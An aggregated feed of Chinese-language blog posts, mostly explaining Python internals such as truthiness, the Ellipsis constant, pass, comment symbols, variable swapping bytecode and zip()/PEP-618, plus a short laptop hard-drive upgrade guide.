对于前面的例子,my_list 没有__bool__() 方法,但是它有__len__() 方法,所以它是否为 true,取决于这个方法的返回值。

真值判断的字节码

接着,我们继续刨根问底:Python 为什么可以支持如此宽泛的真值判断呢?在执行if xxx 这样的语句时,它到底在做些什么?
对于第一个问题,Python 有个内置的 bool() 类型,可以将任意对象转化成布尔值。那么,这是否意味着 Python 在进行真值判断时,会隐式地 调用 bool() 呢(即转化成if bool(xxx))?(答案为否,下文有分析)
对于第二个问题,可以先用dis 模块来查看下:
POP_JUMP_IF_FALSE指令对应的是 if 语句那行,它的含义是:

If TOS is false, sets the bytecode counter to target. TOS is popped.

如果栈顶元素为 false,则跳转到目标位置。

这里只有跳转动作的描述,仍看不到一个普通对象是如何变成布尔对象的。
Python 在解释器中到底是如何实现真值判断的呢?

真值判断的源码实现

在微信群友 Jo 的帮助下,我找到了 CPython 的源码(文件:ceval.c、object.c):
可以看出,对于布尔类型的对象(即 Py_True 和 Py_False),代码会进入到快速处理的分支;而对于其它对象,则会用 PyObject_IsTrue() 计算出一个 int 类型的值。
PyObject_IsTrue() 函数在计算过程中,依次会获取 nb_bool、mp_length 和 sq_length 的值,对应的应该就是 __bool__() 和 __len__() 这两个魔术方法的返回值。
这个过程就是前文中所引用的官方文档的描述,正是我们想要找的答案!
另外,对于内置的 bool(),它的核心实现逻辑正是上面的 PyObject_IsTrue() 函数,源码如下(boolobject.c):
所以,Python 在对普通对象作真值判断时,并没有隐式地调用 bool(),相反它调用了一个独立的函数(PyObject_IsTrue()),而这个函数又被 bool() 所使用。
也就是说,bool() 与 if/while 语句对普通对象的真值判断,事实上是基本相同的处理逻辑。 知道了原理,就会明白if bool(xxx) 这种写法是多此一举的了(我曾见到过)。
至此,我们已经回答了前文中提出的问题。

验证真值判断的过程

接下来,有 3 个测试例子,可以作进一步的验证:
你可以暂停而思考下:bool(Test1)bool(Test1()) 各是什么结果?然后依次判断剩下的两个类,结果又会是什么?
揭晓答案:
bool(Test1)    # True
bool(Test2)    # True
bool(Test3)    # True

bool(Test1())  # True
bool(Test2())  # False
bool(Test3())  # True
原因如下:
  • 类对象没被实例化时,bool() 不会调用它的 __bool__() 或 __len__() 这两个魔术方法
  • 类对象被实例化后,若同时存在 __bool__() 或 __len__() 魔术方法,则 bool() 会先调用 __bool__() 方法(PS:这个方法要求返回值必须为 bool 类型,因此只要有它,就必然不需要再用__len__() 方法来判断真假)

数字类型如何作真值判断?

除了这 3 个例子,还有一种情况值得验证,那就是对于数字类型,它们是怎么做真值判断的呢?
我们可以验证一下数字类型是否拥有那两个魔术方法:
hasattr(2020, "__bool__")
hasattr(2020, "__len__")
不难验证出,数字拥有的是 __bool__() 魔术方法,并没有__len__() 魔术方法,而且所有类型的数字其实被分成了两类:
  • __bool__() 返回 False:所有表示 0 的数字,例如0, 0.0, 0j, Decimal(0), Fraction(0, 1)
  • __bool__() 返回 True:所有其它非 0 的数字

文章小结

Python 中if xxx 这种简便的写法,虽然是正规的真值判断语法,并它但并不符合常规的语义。在 C/C++/Java 之类的语言中,要么 xxx 本身是布尔类型的值,要么是一种可返回布尔类型值的操作,但是在 Python 中,这个“xxx”竟然还可以是任意的 Python 对象!
本文通过对文档、字节码和 CPython 解释器的源码逐步分析,发现了 Python 的真值判断过程并不简单,可以提炼出以下的几个要点:
  • if/while 是隐性的布尔操作符: 它们除了有“判断”真假的作用,还具有隐式地将普通对象计算出布尔结果的功能。实际的操作是解释器根据“POP_JUMP_IF_FALSE”指令来完成的,其核心逻辑跟内置的 bool() 是共用了一个底层方法
  • 真值判断过程依赖两个魔术方法: 除非被判断对象有__bool__() 方法返回False 或者有__len__() 方法返回0 ,否则布尔操作的结果都是 True。两个魔术方法总是会先计算__bool__()
  • 数字类型也可做真值判断: 数字有__bool__() 魔术方法,但没有__len__() 魔术方法,除了表示 0 的数字为 False,其它数字都为 True

August 08, 2020 12:00 AM

August 01, 2020

pythoncat

Python 为什么会有个奇怪的“...”对象?

在写上一篇《Python 为什么要有 pass 语句?》时,我想到一种特别的写法,很多人会把它当成 pass 语句的替代。在文章发布后,果然有三条留言提及了它。
所谓特别的写法就是下面这个:
# 用 ... 替代 pass
def foo():
	...
它是中文标点符号中的半个省略号,也即由英文的 3 个点组成。如果你是第一次看到,很可能会觉得奇怪:这玩意是怎么回事?(PS:如果你知道它,仔细看过本文后,你同样可能会觉得奇怪!)

1、认识一下“…”内置常量

事实上,它是 Python 3 中的一个内置对象,有个正式的名字叫作——Ellipsis,翻译成中文就是“省略号”。
更准确地说,它是一个内置常量(Built-in Constant),是 6 大内置常量之一(另外几个是 None、False、True、NotImplemented、__debug__)。
关于这个对象的基础性质,下面给出了一张截图,你们应该能明白我的意思:
“…“并不神秘,它只是一个可能不多见的符号型对象而已。用它替换 pass,在语法上并不会报错,因为 Python 允许一个对象不被赋值引用。
严格来说, 这是旁门左道,在语义上站不住脚——把“…”或其它常量或已被赋值的变量放在一个空的缩进代码块中,它们是与动作无关的,只能表达出“这有个没用的对象,不用管它”。
Python 允许这些不被实际使用的对象存在,然而聪明的 IDE 应该会有所提示(我用的是 Pycharm),比如告诉你:Statement seems to have no effect
但是“…”这个常量似乎受到了特殊对待,我的 IDE 上没有作提示。
很多人已经习惯上把它当成 pass 那样的空操作来用了(在最早引入它的邮件组讨论中,就是举了这种用法的例子)。但我本人还是倾向于使用 pass,不知道你是怎么想的呢?

2、奇怪的 Ellipsis 和 …

… 在 PEP-3100 中被引入,最早合入在 Python 3.0 版本,而 Ellipsis 则在更早的版本中就已包含。
虽然官方说它们是同一个对象的两种写法,而且说成是单例的(singleton),但我还发现一个非常奇怪的现象,与文档的描述是冲突的:
如你所见,赋值给 … 时会报错SyntaxError: cannot assign to Ellipsis ,然而 Ellipsis 却可以被赋值,它们的行为根本就不同嘛!被赋值之后,Ellipsis 的内存地址以及类型属性都改变了,它成了一个“变量”,不再是常量。
作为对比,给 True 或 None 之类的常量赋值时,会报错SyntaxError: cannot assign to XXX,但是给 NotImplemented 常量赋值时不会报错。
众所周知,在 Python 2 中也可以给布尔对象(True/False)赋值,然而 Python 3 已经把它们改造成不可修改的。
所以有一种可能的解释:Ellipsis 和 NotImplemented 是 Python 2 时代的遗留产物,为了兼容性或者只是因为核心开发者遗漏了,所以它们在当前版本(3.8)中还可以被赋值修改。
… 出生在 Python 3 的时代,或许在将来会完全取代 Ellipsis。目前两者共存,它们不一致的行为值得我们注意。我的建议:只使用”…”吧,就当 Ellipsis 已经被淘汰了。

3、为什么要使用“…”对象?

接下来,让我们回到标题的问题:Python 为什么要使用“…”对象?
这里就只聚焦于 Python 3 的“…”了,不去追溯 Ellipsis 的历史和现状。
之所以会问这个问题,我的意图是想知道:它有什么用处,能够解决什么问题?从而窥探到 Python 语言设计中的更多细节。
大概有如下的几种答案:

(1)扩展切片语法

官方文档中给出了这样的说明:

Special value used mostly in conjunction with extended slicing syntax for user-defined container data types.

这是个特殊的值,通常跟扩展的切片语法相结合,用在自定义的数据类型容器上。

文档中没有给出具体实现的例子,但用它结合__getitem__() 和 slice() 内置函数,可以实现类似于 [1, …, 7] 取出 7 个数字的切片片段的效果。
由于它主要用在数据操作上,可能大部分人很少接触。听说 Numpy 把它用在了一些语法糖用法上,如果你在用 Numpy 的话,可以探索一下都有哪些玩法?

(2)表达“未完成的代码”语义

… 可以被用作占位符,也就是我在《Python 为什么要有 pass 语句?》中提到 pass 的作用。前文中对此已有部分分析。
有人觉得这样很 cute,这种想法获得了 Python 之父 Guido 的支持

(3)Type Hint 用法

Python 3.5 引入的 Type Hint 是“…”的主要使用场合。
它可以表示不定长的参数,比如Tuple[int, ...] 表示一个元组,其元素是 int 类型,但数量不限。
它还可以表示不确定的变量类型,比如文档中给出的这个例子:
from typing import TypeVar, Generic

T = TypeVar('T')

def fun_1(x: T) -> T: ...  # T here
def fun_2(x: T) -> T: ...  # and here could be different

fun_1(1)                   # This is OK, T is inferred to be int
fun_2('a')                 # This is also OK, now T is str
T 在函数定义时无法确定,当函数被调用时,T 的实际类型才被确定。
在 .pyi 格式的文件中,… 随处可见。这是一种存根文件(stub file),主要用于存放 Python 模块的类型提示信息,给 mypy、pytype 之类的类型检查工具 以及 IDE 来作静态代码检查。

(4)表示无限循环

最后,我认为有一个非常终极的原因,除了引入“…”来表示,没有更好的方法。
先看看两个例子:
两个例子的结果中都出现了“…”,它表示的是什么东西呢?
对于列表和字典这样的容器,如果其内部元素是可变对象的话,则存储的是对可变对象的引用。那么,当其内部元素又引用容器自身时,就会递归地出现无限循环引用。
无限循环是无法穷尽地表示出来的,Python 中用 … 来表示,比较形象易懂,除了它,恐怕没有更好的选择。
最后,我们来总结一下本文的内容:
  • … 是 Python 3 中的一个内置常量,它是一个单例对象,虽然是 Python 2 中就有的 Ellipsis 的别称,但它的性质已经跟旧对象分道扬镳
  • … 可以替代 pass 语句作为占位符使用,但是它作为一个常量对象,在占位符语义上并不严谨。很多人已经在习惯上接受它了,不妨一用
  • … 在 Python 中不少的使用场景,除了占位符用法,还可以支持扩展切片语法、丰富 Type Hint 类型检查,以及表示容器对象的无限循环
  • … 对大多数人来说,可能并不多见(有人还可能因为它是一种符号特例而排斥它),但它的存在,有些时候能够带来便利。
希望本文能让更多人认识它,那么文章的目的也就达成了~

August 01, 2020 12:00 AM

July 27, 2020

pythoncat

Python 为什么要有 pass 语句?

关于 Python 中的pass语句,它似乎很简单(只有 4 个字母),即使是没有任何编程经验的初学者也能很快地掌握它的用法。
官方文档 的介绍十分简单,下面的三个例子可以让我们快速地了解到如何使用它:
简单而言,pass 是一种空操作(null operation),解释器执行到它的时候,除了检查语法是否合法,什么也不做就直接跳过。
它跟 return、break、continue 和 yield 之类的非空操作相比,最大的区别是它不会改变程序的执行顺序。它就像我们写的注释,除了占用一行代码行,不会对所处的作用域产生任何影响。
但是,如果你有其它语言的基础,你也许会好奇:为什么 Python 有这么独特的 pass 语句,而别的语言却没有?
Python 这么设计,到底是出于什么原因呢?
是为了解决大部分编程语言都要面对的共性问题,还是因为它有自己的新发现,所以创造出来一个新的特性?
换句话说:Python 为什么要有 pass 语句,它能解决什么问题(好处),如果没有它,会导致什么问题(坏处)?
接下来,本文将从两个维度展开分析。

1、对人:作为空间占位符

我把它看作是一种言简意赅的注释方式,等于是说“这里先预留位置,回头再补上具体的代码实现”。
比如在多层的 if-elif-else 结构中,我们可以先把判断条件写好,然后在对应的块中写上 pass,以后再慢慢完善。
比如上文中给出的例子,我们可以先写好类/函数名及其入参,然后跳过(pass)主体代码,以后再慢慢填充。
pass 写起来简单,而且由于是关键字,IDE 会给出显眼的颜色区分,所以就比我们写上注释内容来得方便些。
pass 作为空间占位符,主要可以方便我们构思局部的代码结构,有一定的辅助提醒作用。
但是,若作为一种注释方式,它就显得太单薄了,比不上写“# todo: xxxx”,后者也会被 IDE 用颜色突显,而且意思更明确。虽然写起来简单,但它也引入了一个看似多余的关键字 pass。
所以,从空间占位符的角度来看,pass 不是编程语言中必须的设计要素。
有了它,我们可以表达出“此处有东西,但暂时跳过”的语义,但如果没有它,则可以用注释内容来替代。

2、对机器:为了语法完整性

对于前一条的用法,pass 出现在代码中的位置在理论上是不受限的。
但是,我们最常使用 pass 时,基本是在冒号的下一行,而且在该层缩进的代码块中,只有这一条语句。(参见前文的 3 个例子,为了方便,我们仅以以空函数为例)
我们可以设想下,如果不写它,会怎样?
答案是会报缩进错误:IndentationError: expected an indented block
# 将函数体的 pass 去除,会报错
def func():

func()
因为 Python 使用缩进来划分代码块,而冒号标识着要出现新的缩进代码块,所以这个例子会报缺少缩进代码块。
如果我们用前文说的注释来替代,看看会怎样?
# 将函数体的 pass 换成注释
def func():
    # todo:此处有东西,以后补上
func()
这样写,也会报错:IndentationError: expected an indented block
原因是注释并非有效的语法内容,它会被 Python 解释器忽略掉(ignore),不像 pass 语句那样是“有效的语法内容,但是跳过”。
也就是说,缩进代码块中必须包含有语法意义的内容,下面的例子都是有效的:
def func():
    """这是一个字符串"""

def func2():
    123456
Python 在定义函数时,必须包含函数体,即同时包含声明加定义两种语义,不能像某些语言可以只使用声明的语义,即写成void test();
但是,由于 Python 不使用花括号,它无法像某些语言那样直接定义出空函数,即写成void test(){}
综合以上的分析,Python 在定义空函数时,必须要有合法的函数体,因此设计出表示空操作的 pass 语句。它是为了补充语法的完整性,连同冒号,等效于其它语言中一对空的花括号。
从语法完整性的维度上看,它是必须的设计要素,如果没有的话,也必须用类似的空语句或特殊符号来替代。
对人方面,pass 可以表示“暂时跳过”的含义,作为临时的占位符,最终会被实际的代码实现所替换;对机器方面,它则可以表示“直接跳过”,只为了补齐语法逻辑,并不会被其它代码所替换。
其它语言没有专门的一种语句或者符号来表示这种占位符(即语义有所欠缺),但是它们也不需要费心思专门设计一个关键字来补齐语法完整性(即语法完备)。
回到本文开头的问题:Python 为什么要有 pass 语句,它能解决什么问题(好处),如果没有它,会导致什么问题(坏处)?
Python 使用 pass 语句,是为了支持纯粹空操作的代码块(空函数、空类、空的循环控制块等等),有了它,还能额外表达出一种占位符的语义。
前者是对于机器而言的,必须要有,等效于其它语言中空花括号的作用;后者是对于人而言的,非必须的,可以用注释来表达,但因为 Python 设计了这个语句,这种用法有时候还挺方便的。

July 27, 2020 12:00 AM

July 20, 2020

pythoncat

当我发现国际友人翻译了我的文章之后……

我今天在某博客平台上看到了一则留言:
非常意外!不会只是巧合吧?
我马上就点开链接去核实,然后发现那篇文章是全文翻译了我之前写的文章,而且该作者还翻译了另外的两篇。
如果读者了解我,应该知道我也翻译过不少文章,比如有 PEP系列Guido的解析器系列 、Flask 作者 Armin Ronacher 的文章、Anthony Shaw 和 Brett Cannon 等社区大佬的文章。
然而,我自己的文章被别人翻译,这是破天荒第一次!我感到非常开心!
我自知自己的某些文章可算是“精品”(厚着脸皮说的 ),最起码大部分是非常之独特的。我有广泛阅读 Python 社区内中英文文章的习惯,对于自己所写的内容,心里还是有点数的,不想妄自菲薄。
难得文章竟然被国际友人(根据作者博客的介绍,他是印度人)阅读到,并且还翻译了三篇,我心里是美滋滋的~
但是,我也有点不开心!
在 Medium 上仔细看完译文后,我发现文中并未提及到原作者及原文出处,更没有表示那是翻译的文章。
我在翻译文章时,基本都联系了作者申请授权,而且会在文章开头的显著位置标注清楚出处,表示对原作者的知识产权的尊重。
在申请 Guido 授权时,还发生过一件趣事,我写在了文章《从 Python 之父的对话聊起,关于知识产权、知识共享与文章翻译》中,里面还提到了知识产权的话题,并回答了几个关于翻译的问题。
所以,我对于知识产权和翻译权是挺敏感的。
我不知道那位国际友人是从何处看到了我的文章,或许在他阅读到的地方,没有原作者的信息?我只在国内的几大平台发布过文章,但不知道国际友人能接触到的是哪个?
为了方便文章的传播,方便文章的归档和修订,我现在把“Python为什么”系列文章传到了 Github 上(前几天恰好有读者询问,我还答复过会传到 Github 上)。
我写了一段话,传达给了这位国际友人,希望他能在译文中标注出原作信息。(PS:写到这里的时候,已收到他的答复,译文中加了一段“Footnotes”)。
这件事在短短几个小时内得到了解决,非常好!
这篇文章算是作为一个小小的里程碑式的记录吧,与大家分享。
最后,还得多解释一下:“Python为什么”系列最初是想做成短视频内容的,但是很快我就发现自己更适合写文章(制作视频太麻烦,也太费时间),所以视频内容在短期内就不提供了。
但是,我不会放弃做视频的想法,等过段时间吧,我会好好修订已发布的文章,到时候再找一个比较好的方式,制作成视频内容。敬请留意!
update:想不到这件事还有后续!文章竟然被 CSDN 公众号从英文翻译回了中文,读着曾出自自己之手被二次翻译的文字,真是一种奇怪/奇妙的感觉啊……

July 20, 2020 12:00 AM

July 19, 2020

pythoncat

Python 为什么用 # 号作注释符?

关于编程语言中的注释,其重要性基本上已为大家所共识。
然而关于注释的规范,这个话题就像我们之前聊过的缩进、终止符和命名方式一样,众口难调。
注释符通常可分为两种,即行注释与块注释(inline/block),它们在不同的编程语言中的符号可谓让人眼花缭乱。
比如行注释符,它至少有以下的 17 种之多(出自维基百科):
其中两个最大的阵营分别是“//”与“#”号:
  • // 注释符:ActionScript, C (C99), C++, C#, D, F#, Go, Java, JavaScript, Kotlin, Object Pascal (Delphi), Objective-C, PHP, Rust, Scala, SASS, Swift, Xojo
  • # 注释符:Bourne shell and other UNIX shells, Cobra, Perl, Python, Ruby, Seed7, Windows PowerShell, PHP, R, Make, Maple, Elixir, Nim
那么,Python 为什么用“#”号作注释符,而不是“//”呢?
这个问题恐怕没办法从解析的效率、符号的辨识度和输入的便利性等方面回答,因为它们基本上没有区别。
我没有找到官方的解释,但是从这些注释符的阵营中,已经不难得出一个较为合理的解释:
  • // 注释符基本上被 C 语言家族所用
  • # 注释符则基本上是被 Shell 和其它脚本语言所用
Python 在创造之初,从 C 和 Shell 语言中借鉴了不少东西,但它是一种脚本语言,因此在注释符这个最为基础的语言要素上,就偏向了脚本语言的传统。
在某些“类脚本语言”中,比如 yaml、conf 和 ini 等格式的配置文件,它们大多也是采用脚本语言的“#”号作为注释符。
所以,Python 行内注释符的选择,大概可以归结为一种历史原因,即借鉴了 Shell 脚本语言的写法。
相比于行注释符的多样,块注释符更加是让人眼花缭乱:
大多数写法是我从未见过的,有些甚至是难以忍受的,槽点太多!
在这份表格里,我们看不到 Python,因为从严格意义上讲,Python 并没有块注释符!
一般而言,我们在连续的每行内容前面加“#”号,达到块注释的效果。块注释被看作是多个行注释。
PEP-8 中是这么建议的:

Each line of a block comment starts with a # and a single space (unless it is indented text inside the comment).

有人曾在 Twitter 上发问,为什么 Python 没有块注释符?
Guido 回复称,可以将多行字符串用作块注释:
Python 的多行字符串用三对单引号或双引号表示,它还可以用作文档字符串(即Documentation Strings,简写docstrings)。
但是,将它当做多行注释符使用,在语义上则有点怪怪的——它表示的是一段字符串,虽然没有赋值给变量,不会生成代码,但是它并非语义上的注释。
由于脚本语言的特性,它允许我们写一段“无根的字符串”,在语法上没有问题,也没有负作用(negative effects),但是,如果把它作为注释使用,这就是一种副作用(side effects)了。
从这点上考虑,我虽然不反对有人把多行字符串写法用作块注释,但是我会更推荐大家使用“#”号作注释。
另外,对于无用的代码,最好的做法就是直接删除,如果后续发现有需要,再回退修改。详细的多行注释尽量放在文档字符串中,这样在核心代码中就会很少出现多行注释的情况了。
对于 Python 的注释符用法,大家是怎么想的呢?欢迎留言交流。

July 19, 2020 12:00 AM

July 14, 2020

pythoncat

Python 为什么只需一条语句“a,b=b,a”,就能直接交换两个变量?

从接触 Python 时起,我就觉得 Python 的元组解包(unpacking)挺有意思,非常简洁好用。
最显而易见的例子就是多重赋值,即在一条语句中同时给多个变量赋值:
>>> x, y = 1, 2
>>> print(x, y)  # 结果:1 2
在此例中,赋值操作符“=”号的右侧的两个数字会被存入到一个元组中,即变成 (1,2),然后再被解包,依次赋值给“=”号左侧的两个变量。
如果我们直接写x = 1,2 ,然后打印出 x,或者在“=”号右侧写成一个元组,就能证实到这一点:
>>> x = 1, 2
>>> print(x)     # 结果:(1, 2)
>>> x, y = (1, 2)
>>> print(x, y)  # 结果:1 2
一些博客或公众号文章在介绍到这个特性时,通常会顺着举一个例子,即基于两个变量,直接交换它们的值:
>>> x, y = 1, 2
>>> x, y = y, x
>>> print(x, y) # 结果:2 1
一般而言,交换两个变量的操作需要引入第三个变量。道理很简单,如果要交换两个杯子中所装的水,自然会需要第三个容器作为中转。
然而,Python 的写法并不需要借助中间变量,它的形式就跟前面的解包赋值一样。正因为这个形式相似,很多人就误以为 Python 的变量交换操作也是基于解包操作。
但是,事实是否如此呢?
我搜索了一番,发现有人试图回答过这个问题,但是他们的回答基本不够全面。(当然,有不少是错误的答案,还有更多人只是知其然,却从未想过要知其所以然)
先把本文的答案放出来吧:Python 的交换变量操作不完全基于解包操作,有时候是,有时候不是!
有没有觉得这个答案很神奇呢?是不是闻所未闻?!
到底怎么回事呢?先来看看标题中最简单的两个变量的情况,我们上dis 大杀器看看编译的字节码:
上图开了两个窗口,可以方便比较“a,b=b,a”与“a,b=1,2”的不同:
  • “a,b=b,a”操作:两个 LOAD_FAST 是从局部作用域中读取变量的引用,并存入栈中,接着是最关键的 ROT_TWO 操作,它会交换两个变量的引用值,然后两个 STORE_FAST 是将栈中的变量写入局部作用域中。
  • “a,b=1,2”操作:第一步 LOAD_CONST 把“=”号右侧的两个数字作为元组放到栈中,第二步 UNPACK_SEQUENCE 是序列解包,接着把解包结果写入局部作用域的变量上。
很明显,形式相似的两种写法实际上完成的操作并不相同。在交换变量的操作中,并没有装包和解包的步骤!
ROT_TWO 指令是 CPython 解释器实现的对于栈顶两个元素的快捷操作,改变它们指向的引用对象。
还有两个类似的指令是 ROT_THREE 和 ROT_FOUR,分别是快捷交换三和四个变量(摘自:ceval.c 文件,最新的 3.9 分支):
预定义的栈顶操作如下:
查看官方文档中对于这几个指令的解释,其中 ROT_FOUR 是 3.8 版本新加的:
  • ROT_TWO

    Swaps the two top-most stack items.

  • ROT_THREE

    Lifts second and third stack item one position up, moves top down to position three.

  • ROT_FOUR

    Lifts second, third and forth stack items one position up, moves top down to position four. New in version 3.8.

CPython 应该是以为这几种变量的交换操作很常见,因此才提供了专门的优化指令。就像 [-5,256] 这些小整数被预先放到了整数池里一样。
对于更多变量的交换操作,实际上则会用到前面说的解包操作:
截图中的 BUILD_TUPLE 指令会将给定数量的栈顶元素创建成元组,然后被 UNPACK_SEQUENCE 指令解包,再依次赋值。
值得一提的是,此处之所以比前面的“a,b=1,2”多出一个 build 操作,是因为每个变量的 LOAD_FAST 需要先单独入栈,无法直接被组合成 LOAD_CONST 入栈。也就是说,“=”号右侧有变量时,不会出现前文中的 LOAD_CONST 一个元组的情况。
最后还有一个值得一提的细节,那几个指令是跟栈中元素的数量有关,而不是跟赋值语句中实际交换的变量数有关。看一个例子就明白了:
分析至此,你应该明白前文中的结论是怎么回事了吧?
我们稍微总结一下:
  • Python 能在一条语句中实现多重赋值,这是利用了序列解包的特性
  • Python 能在一条语句中实现变量交换,不需引入中间变量,在变量数少于 4 个时(3.8 版本起是少于 5 个),CPython 是利用了 ROT_* 指令来交换栈中的元素,当变量数超出时,则是利用了序列解包的特性。
  • 序列解包是 Python 的一大特性,但是在本文的例子中,CPython 解释器在小小的操作中还提供了几个优化的指令,这绝对会超出大多数人的认知

July 14, 2020 12:00 AM

July 10, 2020

anji66

华硕飞行堡垒FX95G加装机械硬盘教程

本文水文,为极速教程。华硕飞行堡垒系列笔记本默认只装了固态硬盘。固态硬盘跑系统和软件是杠杠的,但存储数据可就算了吧。外加这容量实在够呛,所以加个机械硬盘是个不错的选择。好在华硕预留了加装硬盘位。本次电脑是我们部门的前端小伙伴的电脑。问我加装什么硬盘合适,第一反应就是三个数字,7200转,2.5寸,1T。希捷当然是我的首选。这里是京东链接。就图中这款。

03.jpg


看下这款电脑,FX95G,飞行堡垒的标识,有点小帅。

01.jpg

02.jpg


第一步,拆D壳螺丝

注意方框中的螺丝是短螺丝,圆框中的是长螺丝,回装的时候别装错了

04.jpg


第二步,抠开D壳。

这应该是我拆过的最好拆的笔记本,指甲一圈,轻松取下后盖。

05.jpg


第三步,拆硬盘位支架

图中红框中的位置是华硕预留的硬盘位。并且有一个金属支架,拆掉几个固定螺丝,取下支架

06.jpg


第四步,把硬盘装支架上

螺丝空位都是对的上的,如果对不上注意方位。拧好螺丝

07.jpg


第五步,回装支架,回装后盖

将装好硬盘的支架插回电脑,插口是预留的。然后拧上支架螺丝。回装D壳,完工。这是一个极简单的升级过程,动手能力比较弱的也可以尝试。


by 西枫里 at July 10, 2020 04:18 PM

July 09, 2020

pythoncat

一篇文章掌握 Python 内置 zip() 的全部内容

zip() 是 Python 中最好用的内置类型之一,它可以接收多个可迭代对象参数,再返回一个迭代器,可以把不同可迭代对象的元素组合起来。
我之前写迭代器系列的时候,在《Python进阶:设计模式之迭代器模式》中简单地介绍过它,前几天翻译了 Python 3.10 采纳的 PEP-618 ,介绍了它将会迎来的变更。
但是,还有不少同学并不知道 zip(),或者不能熟练掌握它的用法,因此本文打算来做一个更为详细的梳理。
内容主要分三部分:
  • 用法部分:介绍它的基础用法、高级用法、骚操作用法
  • 进阶部分:介绍它的实现原理,关注几个实现的细节
  • 发散部分:聚焦它的不足,以及解决方法

1、zip() 的 n 种用法

基本用法:像拉链一样,将多个可迭代对象组合起来,然后可以用 for 循环依次取出,或者一次性将结果存入列表、元组或者字典之类的容器中。
它的结果是一个迭代器,迭代器生成的元素是元组,第 i 个元组的元素分别来自可迭代对象参数的第 i 个元素,如上图所示。
另外,for 循环还可以把元组内的元素依次取出,这样会很方便:
它的参数并不要求是同一类的可迭代对象,因此可以有非常多的组合方式,例如:
但是,如果把字典作为 zip() 的参数,会是什么结果呢?字典是 key-value 键值对形式,跟列表之类的单一元素结构不同。
实验一下,可以看出,zip() 默认只会遍历字典的 key 值:
如果想要取出字典的 value 值,或者取出 key-value 键值对,那么可以使用字典自带的遍历方法 values() 和 items():
使用 zip(),还可以比较方便地对二维列表实现行列转换:
上例中的星号(*)操作符可以解包(unpacking),即将 my_list 的元素(也是列表)解成多个参数给 zip(),从而将 3 个列表重新组合。
解包操作符对于 zip 对象同样适用,因为 zip() 本身是一次行列转换的操作,若将它解包后作为参数给 zip(),等于再做一次行列转换,也就是回到了原点(除了最后的结果是元组):
最后再介绍一种用法:创建 n*n 的方阵,每行的数字相同。

2、zip() 的原理解析

官方文档中给出了 zip() 的 Python 伪代码(并非是 Python 解释器内置的实现,只为了展示基本的代码逻辑):
def zip(*iterables):
    # zip('ABCD', 'xy') --> Ax By
    sentinel = object()
    iterators = [iter(it) for it in iterables]
    while iterators:
        result = []
        for it in iterators:
            elem = next(it, sentinel)
            if elem is sentinel:
                return
            result.append(elem)
        yield tuple(result)
在这段简短的代码中,可以分析出几点关键的信息:
  • zip 接收可变数量的可迭代对象参数,这些参数会经过 iter() 处理成迭代器。推论:若出现非可迭代对象,此处会报错
  • while 循环在判断列表是否为空,而列表中的元素是将参数转化而成的迭代器。推论:若入参存在有效的可迭代对象,则 while 循环始终为真;若没有入参,则什么都不做
  • next() 会依次读取迭代器中的下一个元素,它的第二个参数会作为迭代器耗尽时的返回值。推论:每一轮依次取出这些迭代器的一个元素,当某个迭代被耗尽时,则退出死循环,这就意味着未耗尽的迭代器会被直接舍弃

3、zip() 的问题与解决

zip() 最明显的问题是它会舍弃掉未耗尽的迭代器:
这是一种木桶效应,最终的结果由最短的木板来决定。
有一种解决思路是取长板,同时补足短板(用 None 值填充),这就是 itertools 中的 zip_longest 方法:
它填充了冗余数据,同时最大限度地保证了原始数据的完整性。
但是,如果我们不希望有冗余数据,只希望得到按最长方式对齐的数据呢?
Python 官方最近采纳了 PEP-618,它就是为了应对这个问题。当出现迭代器长度不一致时,它既不向短板妥协,也不向长板妥协,而是抛出 ValueError。它认为入参值错误,也就是严格要求入参的数据完整性。
该 PEP 会被合入到一年后的 Python 3.10 版本,关于更多的内容细节,可查阅这篇PEP-618 译文

公众号:Python猫
头条号:Python猫
知乎:豌豆花下猫
掘金:豌豆花下猫

July 09, 2020 12:00 AM

July 02, 2020

pythoncat

Python 3.10 的首个 PEP 诞生,内置类型 zip() 迎来新特性

译者前言:相信凡是用过 zip() 内置函数的人,都会赞同它很有用,但是,它的最大问题是可能会产生出非预期的结果。PEP-618 提出给它增加一个参数,可以有效地解决大家的痛点。
这是 Python 3.10 版本正式采纳的第一个 PEP,「Python猫」一直有跟进社区最新动态的习惯,所以翻译了出来给大家尝鲜,强烈推荐一读。(PS:严格来说,zip() 是一个内置类(built-in type),而不是一个内置函数(built-in function),但我们一般都称它为一个内置函数。)
PEP标题: Add Optional Length-Checking To zip
PEP作者: Brandt Bucher
创建日期: 2020-05-01
合入版本: 3.10
译者豌豆花下猫 @Python猫公众号

摘要

本 PEP 建议给内置的 zip 添加一个可选的 strict 布尔关键字参数。当启用时,如果其中一个参数先被用尽了,则会引发 ValueError 。

动机

从作者的个人经验和一份对标准库的调查 来看,明显有很多(如果不是绝大多数)zip 用例要求可迭代对象必须是等长的。有时候,周围代码的上下文可以保证这点,但是要 zip 处理的数据通常是由调用者传入的、单独提供的或者以某种方式生成的。在这些情况下,zip 的默认行为意味着错误的重构或逻辑错误,很容易悄悄地导致数据丢失。这些 bug 不仅难以定位,甚至难以被觉察到。
很容易想到造成这种问题的简单案例。例如,以下代码在 items 为一个序列(sequence)时可以良好地运行,但是如果调用者将 item 重构为一个可消耗的迭代器,则代码会悄悄地产生缩短的、不匹配的结果:
def apply_calculations(items):
    transformed = transform(items)
    for i, t in zip(items, transformed):
        yield calculate(i, t)
zip 还有几种常见用法。惯用的技巧性用法特别容易出问题,因为它们经常被不完全了解代码工作方式的用户使用。下面是一个示例,解包到 zip 中以转化成嵌套的可迭代对象:
>>> x = [[1, 2, 3], ["one" "two" "three"]]
>>> xt = list(zip(*x))
另一个例子是将数据“分块”成大小相等的组:
>>> n = 3
>>> x = range(n ** 2),
>>> xn = list(zip(*[iter(x)] * n))
在第一个例子中,非矩形数据通常会导致逻辑错误。在第二个例子中,长度不是 n 的倍数的数据通常也是错误。因为这两个习惯用法都会悄悄地忽略不匹配的尾部元素。
最有说服力的例子来自使用了 zip 的标准库ast ,它在 literal_eval 里产生过一个 bug,会直接丢弃不匹配的节点
>>> from ast import Constant, Dict, literal_eval
>>> nasty_dict = Dict(keys=[Constant(None)], values=[])
>>> literal_eval(nasty_dict)  # Like eval("{None: }")
{}
实际上,笔者已经在 Python 的标准库和工具中找出了许多调用点, 立即在这些位置启用此新特性是恰当的。

基本原理

一些评论者声称:布尔开关常量是一种“代码坏气味(code-smell)”,或者与 Python 的设计哲学背道而驰。
但是,Python 当前在内置函数上有几个布尔关键字参数的用法,它们通常使用编译期常量来调用:
  • compile(..., dont_inherit=True)
  • open(..., closefd=False)
  • print(..., flush=True)
  • sorted(..., reverse=True)
